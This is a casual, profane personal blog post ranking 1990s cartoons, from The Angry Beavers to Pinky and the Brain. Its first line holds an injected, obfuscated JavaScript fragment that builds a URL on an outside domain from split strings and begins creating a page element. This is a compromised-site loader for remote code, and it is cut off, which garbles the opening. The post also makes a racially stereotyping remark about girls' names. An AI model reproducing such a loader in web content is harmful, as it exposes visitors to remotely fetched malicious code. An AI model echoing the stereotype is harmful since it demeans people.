90s Cartoons

CARTOONS XD Who doesn't love them?)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createElement('

Just The Facts

  1. I was born in 1992. Which makes me lucky =]
  2. It's common knowlege (at least among the people of my age) that the best cartoons were in the 90s.
  3. I constantly tell my godsister that she's been cheated out of her cartoons.

Cartoons de la 90s

Everyone knows that the best cartoons were on Nickelodean and Cartoon Network. There's so many to choose from, but I'm going to go with the ones off the top of my head. No The Rugrats, Ren & Stimpy, and Sponge Bob isn't going to be on here. Those are obvious. Anyway, let's take a trip down memory lane as these cartoons laid out the futures of our adult lives:

THAT WAS NUTS!

The Angry Beavers made it okay to be random and just nuts. To this day I still scream "DOM DOM DOM!" when something dramatic happens..

Ed Bighead: Rocko, what're you doing?

Rocko: [With a paddle in his hand] We're playing spank the monkey

Rocko's Modern Life is the one cartoon my mother hates. She said it had A LOT of sexual references. I watched an episode about a year ago and I realized why my generation's teen pregnacy rates are through the roof. THAT WAS A HOOT!

i specifically remembered bubbles having a stuffed octopus. weird.

The Powerpuff Girls came out when "girl power" was cool. The 90s is also the Women Empowerment Movement Through Amazing Music...which is what I like to call it. It's where you had artists such as The Spice Girls, Sarah McLachlan, Alanis Morrisette, Liz Phair, Fiona Apple, Toni Braxton, Sheryl Crowe, Janet Jackson, Pink, Amy Grant, and Monica (XD) trying to make it in a man's business. And they did and they're amazing. Girl Power *fist pump*

OOOOH! What does THAT button do?

I'm pretty sure I'm still the only one who does Mandark's laugh when I'm feeling particuarly evil. Ha hahahaha! Ha hahahaha!

honk honk!

A friend of mine says that Skeeter is actually an alien and that the honking noise he makes is his native tongue. I replied by saying: "That would explain why he's the silver surfer in Doug's superhero fantasies".

Operator: We're sorry, but the phone you are currently using is a mirage. Please hang up and try again later... on a real phone.

Urban Legend has it that Pepper Ann was canceled due to the fact that she constantly talks to herself and is dubbed schizophrenic. I'm pretty sure that isn't the reason, but you know how people talk. Honestly, who hasn't talked to themselves?...In a mirror...all the time...

honestly, who doesn't notice a giant ass blue paw print on random shit?

It's not really a cartoon, but if you're around my age, you'd be so pissed if I didn't include it. This is something they should have left alone after Steve (which I can assure you IS NOT on drugs and IS alive contrary to other belifes. I Googled that shit). Josh is a bigger idiot than him and Blue should NEVER talk. And how is blue a girl and Magenta is a guy? And doesn't Peprika sound just a little bit like those names that black people give their daughters that sound very much made up



i rest my case

pussy-whipped naturist

I've actually NEVER liked Captain Planet but 90s enthusiasts will chew my ass out otherwise. Captain Planet is like...I dont know...weird magical puppet thing that does the bidding of a bunch of nosey teenagers. There's also a monkey.

hello light, goodbye light, hello light, goodbye light

This is actually one of my favorites, but what I often wondered when I was a child...where the hell are their parents!? No one knows! They're off destroying the neighborhood and hustling for jaw breakers and there are no parental units around. All I have to say is that Ed, Edd, and Eddy are gangtas. PERIOD.

Everyone knows Sailor Mercury has the best transformations

You aren't a true girl of the 90s if you never watched Sailor Moon. It's the empitome of girl power in the cartoon world in the 90s. My friend (whom I often call Flight 180 due to her epic fail of life) bought the entire first season of Sailor Moon, which we watched, and criticized A LOT. The graphics were horrible, Serena's voice was pitchy, and Molly is somehow from Jersey. I mean, has no one noticed that?

i can hear it now: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAH!

Once again: a cartoon I hate. One can only listen to someone go AAAAAAAAAAAA-AAAAAAAAAAAAAAH! while he energizes what ever they energize before they obliterate people...eh sorta. This lasts for 30 minutes. I can't take it. It cut into my What's New Scooby Doo? time.

tenderrrrrrr

That's really all that needs to be said here.

MOVE IT FOOTBALL HEAD!

This is probably one of the coolest cartoons ever made. The town they live in is like a combination of Chicago and New York, but everyone and everything is tight-knit and conncected. There's culture in Hey Arnold and who doesn't like a good dose of culture? Well, except for xenophobs. One of my favorite episodes was the one with Monkey Man. MONKEY MAN! He's come to fight crime and eat your bananas!

ma-ma-monkey man!

pinky: gee brain, what are we going to do tonight?

brain: the same thing we do every night, Pinky- TRY AND TAKOVER THE WORLD!

I don't care if your a joyless son of a bitch from the ass crack of hell, you can't not love Pinky and the Brain. You just can't. And to you PatB haters I bid you adieu.

NARF!